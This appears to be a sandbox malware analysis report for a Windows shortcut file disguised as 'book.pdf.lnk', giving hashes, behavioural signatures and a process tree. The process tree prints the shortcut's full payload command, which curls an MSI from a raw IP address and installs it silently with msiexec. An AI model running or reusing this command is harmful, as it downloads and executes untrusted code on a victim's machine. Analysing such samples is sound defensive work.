8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d

Resubmissions

24-08-2023 17:35

230824-v568qafh4y 3

23-08-2023 19:18

23-08-2023 19:16

21-08-2023 09:54

21-08-2023 00:59

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
21-08-2023 00:59

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General

Target

book.pdf.lnk
Size

1KB
MD5

0185e0fc2f505312001e1a65e6783908
SHA1

8e4cf0397ba32d233a515a5aca02751f6f9344c6
SHA256

8b3162141ac545fa0ae63777748973b8ee88bb8234a917d5fb3238d2c2ca963d
SHA512

1a484bb08401fd7476d37029fa753aa82af10aa702f30fa30568ff7eaf94b484e604bbff9f6b5a67179a7d708cf61bb767fa974e0a9f35e751d74d9a2dd4fefc

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

msiexec.exe

pid process

1456 msiexec.exe

pid	process
1456	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	1456	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1456	msiexec.exe
Token: SeRestorePrivilege	2868	msiexec.exe
Token: SeTakeOwnershipPrivilege	2868	msiexec.exe
Token: SeSecurityPrivilege	2868	msiexec.exe
Token: SeCreateTokenPrivilege	1456	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1456	msiexec.exe
Token: SeLockMemoryPrivilege	1456	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1456	msiexec.exe
Token: SeMachineAccountPrivilege	1456	msiexec.exe
Token: SeTcbPrivilege	1456	msiexec.exe
Token: SeSecurityPrivilege	1456	msiexec.exe
Token: SeTakeOwnershipPrivilege	1456	msiexec.exe
Token: SeLoadDriverPrivilege	1456	msiexec.exe
Token: SeSystemProfilePrivilege	1456	msiexec.exe
Token: SeSystemtimePrivilege	1456	msiexec.exe
Token: SeProfSingleProcessPrivilege	1456	msiexec.exe
Token: SeIncBasePriorityPrivilege	1456	msiexec.exe
Token: SeCreatePagefilePrivilege	1456	msiexec.exe
Token: SeCreatePermanentPrivilege	1456	msiexec.exe
Token: SeBackupPrivilege	1456	msiexec.exe
Token: SeRestorePrivilege	1456	msiexec.exe
Token: SeShutdownPrivilege	1456	msiexec.exe
Token: SeDebugPrivilege	1456	msiexec.exe
Token: SeAuditPrivilege	1456	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1456	msiexec.exe
Token: SeChangeNotifyPrivilege	1456	msiexec.exe
Token: SeRemoteShutdownPrivilege	1456	msiexec.exe
Token: SeUndockPrivilege	1456	msiexec.exe
Token: SeSyncAgentPrivilege	1456	msiexec.exe
Token: SeEnableDelegationPrivilege	1456	msiexec.exe
Token: SeManageVolumePrivilege	1456	msiexec.exe
Token: SeImpersonatePrivilege	1456	msiexec.exe
Token: SeCreateGlobalPrivilege	1456	msiexec.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2784 wrote to memory of 2704	2784	cmd.exe	cmd.exe
PID 2784 wrote to memory of 2704	2784	cmd.exe	cmd.exe
PID 2784 wrote to memory of 2704	2784	cmd.exe	cmd.exe
PID 2704 wrote to memory of 1456	2704	cmd.exe	msiexec.exe
PID 2704 wrote to memory of 1456	2704	cmd.exe	msiexec.exe
PID 2704 wrote to memory of 1456	2704	cmd.exe	msiexec.exe
PID 2704 wrote to memory of 1456	2704	cmd.exe	msiexec.exe
PID 2704 wrote to memory of 1456	2704	cmd.exe	msiexec.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\book.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c echo %cd% > C:\Users\Admin\AppData\Local\Temp\ruta.txt & echo eGz & echo zv & echo GMp & echo RC & curl -o C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi http://107.181.161.200:443/msiffbjzugu & msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn
2⤵
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\system32\msiexec.exe
msiexec /i C:\Users\Admin\AppData\Local\Temp\ffbjzugu.msi /quiet /qn
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:1456

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2868

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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